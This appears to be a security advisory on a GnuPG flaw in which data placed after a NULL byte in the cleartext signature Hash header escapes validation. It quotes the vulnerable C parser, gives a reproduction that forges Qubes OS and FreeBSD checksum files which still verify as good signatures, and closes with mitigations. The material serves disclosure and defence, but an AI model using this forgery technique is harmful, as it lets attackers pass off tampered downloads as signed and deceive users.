Cleartext Signature Forgery in GnuPG
A vulnerability in GnuPG allows for stuffing additional data in the Cleartext Signature Framework.
Impact
Exploitation allows for appending additional data after a valid BEGIN PGP SIGNED MESSAGE Armor Header Line and thereby potentially deceiving a GnuPG user about the actual signed data while preserving cryptographic integrity.
Details
As highlighted in the Issues with the Cleartext Signature Framework, there is the risk of an attacker including misleading text in the Hash Armor Header and implementations shall therefore apply strict validation:
Finally, when a Cleartext Signature Framework message is presented to the user as is, an attacker can include additional text in the Hash header, which may mislead the user into thinking it is part of the signed text. The signature validation constraints described in Sections 6.2.2.3 and 7.1 help to mitigate the risk of arbitrary or misleading text in the Armor Headers.
GnuPG fails to implement these signature validation constraints correctly, as it is possible to inject arbitrary data in the Hash armor header after a NULL byte.
GnuPG implements the armor header validation in static int parse_hash_header( const char *line ) in gnupg/g10/armor.c. The function accepts a C-style string as its only parameter. parse_hash_header is called from parse_header_line, which passes strings split by line terminators. However, no splitting is done on NULL bytes. Without extra length information which are not passed along, there is no way to find the actual end of a C string in this scenario.
The vulnerability arises from breaking, with a non-zero value in found, when a NULL byte is encountered after the hash name:
/****************
* check whether the armor header is valid on a signed message.
* this is for security reasons: the header lines are not included in the
* hash and by using some creative formatting rules, Mallory could fake
* any text at the beginning of a document; assuming it is read with
* a simple viewer. We only allow the Hash Header.
*/
static int
parse_hash_header( const char *line )
{
const char *s, *s2;
unsigned found = 0;
if( strlen(line) < 6 || strlen(line) > 60 )
return 0; /* too short or too long */
if( memcmp( line, "Hash:", 5 ) )
return 0; /* invalid header */
for(s=line+5;;s=s2) {
for(; *s && (*s==' ' || *s == '\t'); s++ )
;
if( !*s )
break;
for(s2=s+1; *s2 && *s2!=' ' && *s2 != '\t' && *s2 != ','; s2++ )
;
if( !strncmp( s, "RIPEMD160", s2-s ) )
found |= 1;
else if( !strncmp( s, "SHA1", s2-s ) )
found |= 2;
else if( !strncmp( s, "SHA224", s2-s ) )
found |= 8;
else if( !strncmp( s, "SHA256", s2-s ) )
found |= 16;
else if( !strncmp( s, "SHA384", s2-s ) )
found |= 32;
else if( !strncmp( s, "SHA512", s2-s ) )
found |= 64;
else
return 0;
for(; *s2 && (*s2==' ' || *s2 == '\t'); s2++ )
;
if( *s2 && *s2 != ',' )
return 0;
if( *s2 )
s2++;
}
return found;
}
Due to breaking, once a NULL byte is processed, it is possible to append additional data in the Hash armor header in an attempt to deceive a user into believing it to be a part of the data bound under the signature. The risk of this happening is correctly pointed out by the comment above the function. However, the function implementation in combination with its call site in parse_header_line violates this.
Detailed steps to reproduce
Scenario
Bob wants to download and verify a Qubes OS ISO signed by Alice.
Over a trusted channel, Bob obtains Alice’s key, in our example, the release signing key of the project.
Bob imports and trusts it.
Over an untrusted channel, on which Mallory has an MITM role, Bob proceeds to download the Qubes-R4.2.4-x86_64.iso alongside the signed checksum file.
During the download, Mallory switches out both files for manipulated ones.
Procedure
$ echo "malicious Qubes iso, that the Qubes maintainers would never sign" > Qubes-R4.2.4-x86_64.iso
$ sha512sum *Qubes-R4.2.4-x86_64.iso
92e0148fc8874509d33d049a9b46e7fb5837d2f9466692b88904b84595426cfd65e842509d2faaa9bf067824d21e18fc2b646f4905182fe67e1ae9143bed05a6 Qubes-R4.2.4-x86_64.iso
$ cat Qubes-R4.2.4-x86_64.iso.DIGESTS | sed 's/SHA256.*/
92e0148fc8874509d33d049a9b46e7fb5837d2f9466692b88904b84595426cfd65e842509d2faaa9bf067824d21e18fc2b646f4905182fe67e1ae9143bed05a6 Qubes-R4.2.4-x86_64.iso/' > Qubes-R4.2.4-x86_64.iso.DIGESTS Mallory can use any character in her injected message, except the \\n character.
Instead, she uses alternative characters that also print as a newline in this example.
Bob then receives the file, and compares the sha512 matching.
$ gpg --verify Qubes-R4.2.4-x86_64.iso.DIGESTS
gpg: Signature made Mon 17 Feb 2025 06:00:00 AM CET
gpg: using RSA key 9C884DF3F81064A569A4A9FAE022E58F8E34D89F
gpg: Good signature from "Qubes OS Release 4.2 Signing Key" [ultimate]
$ sha512sum *Qubes-R4.2.4-x86_64.iso
92e0148fc8874509d33d049a9b46e7fb5837d2f9466692b88904b84595426cfd65e842509d2faaa9bf067824d21e18fc2b646f4905182fe67e1ae9143bed05a6 Qubes-R4.2.4-x86_64.iso
$ cat Qubes-R4.2.4-x86_64.iso.DIGESTS
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
92e0148fc8874509d33d049a9b46e7fb5837d2f9466692b88904b84595426cfd65e842509d2faaa9bf067824d21e18fc2b646f4905182fe67e1ae9143bed05a6 *Qubes-R4.2.4-x86_64.iso
6d28eed5e3a2f1e06b1dbdb52713deb8 *Qubes-R4.2.4-x86_64.iso
ede51181709b2e0a69b87cfd7b8db1f36ef69515 *Qubes-R4.2.4-x86_64.iso
f596adc4c40f2670321de0c41e65a4b94193ca77959149c62bcc2579425fac8e *Qubes-R4.2.4-x86_64.iso
949589751e8d4794274b4889dd94f50823b39011e2b8b0afa3b4b7fd204042baf640f1af4241dae42193cf33a9721600402a2f258397a2c81f20241576640607 *Qubes-R4.2.4-x86_64.iso
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEnIhN8/gQZKVppKn64CLlj4402J8FAmeywlAACgkQ4CLlj440
2J8jAg/+LY+/3fOyfbwjc8zkB+scnHv/BBxMB4o4hZrwFVfOt8d+ar34P1gvRDcG
GFkp7J4jjPU3Lrcdm2nzX0/uyrHrZq7TOvrWpyFn5IffyX8r2ltIF0SBld4Uvbhr
K8RPzJXTuFf1RrjcCngA24Go8aP0C4LL04PQNzCoXxMicqc+rDsk2zMQA/DdYE7S
2WZVkeuaUnRa31oxNJW7Di1UpPJxFBP/aTrii4e06hzqodtko+kxt9aAi8b47DO2
6g89H617zIXvcDfS/IAO8W7D+0If5WtLQyVGbeoNN+NOf14tE2wh18QtvVQmccVP
t23+aQz4AT6j49jDd0iUYbbcgyia2wvY4C4QfR5+ZaZaee5DfuJEgRIRBv+BQrCE
iG4o1HbsRXDpwZCHX3w99cVPpcYQzB0Xu1qR7zTNrXZBcgc5XffDoS0vzn57Id/7
wwXsSVTbdGjnFFffL8s5aOr5tH22QbqBcMYmF5OA/9QPdkX40oZDE6SFwRqQHS3t
OVsVAcv1r45NWWSRAjksviz91i7kMtl2KnP98imrdAUr/k21XupvxTVI5RgPF0DG
EWNIGsHZnSY9k2HqEl6+FYTH4hZBreaFGyASuk/lDjIYtGAz0IJERw6kFsIJ14YT
BGC8Kc0ysaLOcUCq4WTb0M1U8ePH41mtAxiz2LrLqT5MCkZ/yQI=
=YecE
-----END PGP SIGNATURE-----
Discussion
Other attacks are possible with the vulnerability include adding a different file, for example in this modified BSD download, where a FreeBSD-14.2-RELEASE-amd64-universal.iso file is inserted.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
SHA256 (FreeBSD-14.2-RELEASE-amd64-universal.iso) = 2f1f6cf637397e205a1f7ff5058747256424e3a9c2e30fea129ece5c324ebd7b
SHA256 (FreeBSD-14.2-RELEASE-amd64-bootonly.iso) = d063e48b81b99005c8097e60377c23fb07e4116c5f0c0b41a5dc368fc4df6bf9
SHA256 (FreeBSD-14.2-RELEASE-amd64-bootonly.iso.xz) = f3668cd0f3dd503f58047ac098b3dd6d1962bb4e8f8ff3fb6abb632ef2d5f8f9
SHA256 (FreeBSD-14.2-RELEASE-amd64-disc1.iso) = a3c771e2fa958e922a5771047d524d7df3ce501e58bed5c65f0226e4d31ebd30
SHA256 (FreeBSD-14.2-RELEASE-amd64-disc1.iso.xz) = e64212a911ecb204083198aca3b64b6d50d5295c8de4d98b66553292024bac7c
SHA256 (FreeBSD-14.2-RELEASE-amd64-dvd1.iso) = b158612828166e5fb7b34a76718387b0ed40ef425cfdb88a067aa349713dcae4
SHA256 (FreeBSD-14.2-RELEASE-amd64-dvd1.iso.xz) = d1c874fd5ba8e9f0c26737d8b1c2304c14ea6c6ff5b71a572b731f9c21223f8a
SHA256 (FreeBSD-14.2-RELEASE-amd64-memstick.img) = 90121a72477a3d74cf4d2d3715836b7624f4a8cdaa08b8131faa88e21b15b32b
SHA256 (FreeBSD-14.2-RELEASE-amd64-memstick.img.xz) = b1636d6d72932df2eb757cc0b1ea1e7d532c895c960518c74063cbadce020de2
SHA256 (FreeBSD-14.2-RELEASE-amd64-mini-memstick.img) = ecb3477acbe8b8b6150a4248a5facddf2d3aac1e9cb507e6bec3a9c0b51f7769
SHA256 (FreeBSD-14.2-RELEASE-amd64-mini-memstick.img.xz) = 40ee8c07704945e3bfa52e8dd9d354eb60a3240ab86a606191c280dabdff5eb6
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEEglY7hNBiDtwN+4ZBOJfy4i5lrT8FAmdKDr4ACgkQOJfy4i5l
rT8IAA//fWQQvtYyWzFV2mVjsCi8pi1gu/Wl4fd4KxXVpVLWky5tCJcOkBsF97IU
eaZpq1P86bUwXz20nekypzO8RHSR37KKOXRIS5pP5PUiuGR0B3Fh6FOj0LygckTl
mC1+VnWQu2XhQ6W7kN3nEyx2YznDe9TyeKpjlVnVCRG4FEI2r2jHJpgY69itwN9B
47Ec2ude0JimCawHxTyMCfbXsPtvcE4mPLMc/2Z3VdgHFKpp//S0rDbkJ6080Oln
FOq0BWHNSsQPLAWo63UwpmfgYykzjOd+2j1skbW8yiy+Ia+f7heJaremUR9GdeJL
bQddM+BAB64bw8wp5ooTctPWhgwmaSmVyEh8KKY9EIFo6TmzyWgq2YmixbiAhN4g
uAOx7+t4rmzh/TnxAwavTXSJp6/vhYD4EfoOHLPOy2zME5YoMNa8Kj/Y9UOVPhoz
OjN10QSv1/P7zrLDA6Qp4IZ7FAGs+E3tTiEvXs7To7bHPhnxxfuK1I7r20pK27a7
gBK/qlVys8VWzBYvdjUAIx/JWD4u5SQ5C+VNSuyYqH5WFuOmmKAYpRRntfovNLUF
Tb7dYSJup+Q/fMTg/6hEKxN7/udKIYD/WoV9ik896cwFgtYrkdkGdKJybCE1M9GF
HKkEa3VeMKJkVzY5lOHA9nqkQOUCdCx3EaW6orEvc+R1p6xE6Fg=
=q66Y
-----END PGP SIGNATURE-----
Generally, the inserted text follows the hash header + a null byte, can’t contain a newline, and is terminated by a newline. This constraint may catch the malicious injection when parsing a file with a 3rd party downstream tool, such as some implementations of the sha512sum utility. The vulnerability is applicable to exploitation scenarios beyond hash digest verification.
Recommendation
Removal of the Cleartext Signature Framework from the OpenPGP standard helps resolve the issues with the Cleartext Signature Framework. Furthermore, deprecation allows for a graceful phase-out.
OpenPGP users should avoid using cleartext signatures, as is also recommended by GnuPG.
GnuPG should implement the signature validation constraints from the RFC to mitigate the issues with the Cleartext Signature Framework.
To prevent confusion about the actual signed data, OpenPGP implementations should output the data bound by the signature during validation by default. sequoia-sq does so. GnuPG does not and requires the --output option to be set.
When working with OpenPGP signatures in general, users should instruct their PGP implementation to output the signed data and only use this output for any further or related tasks.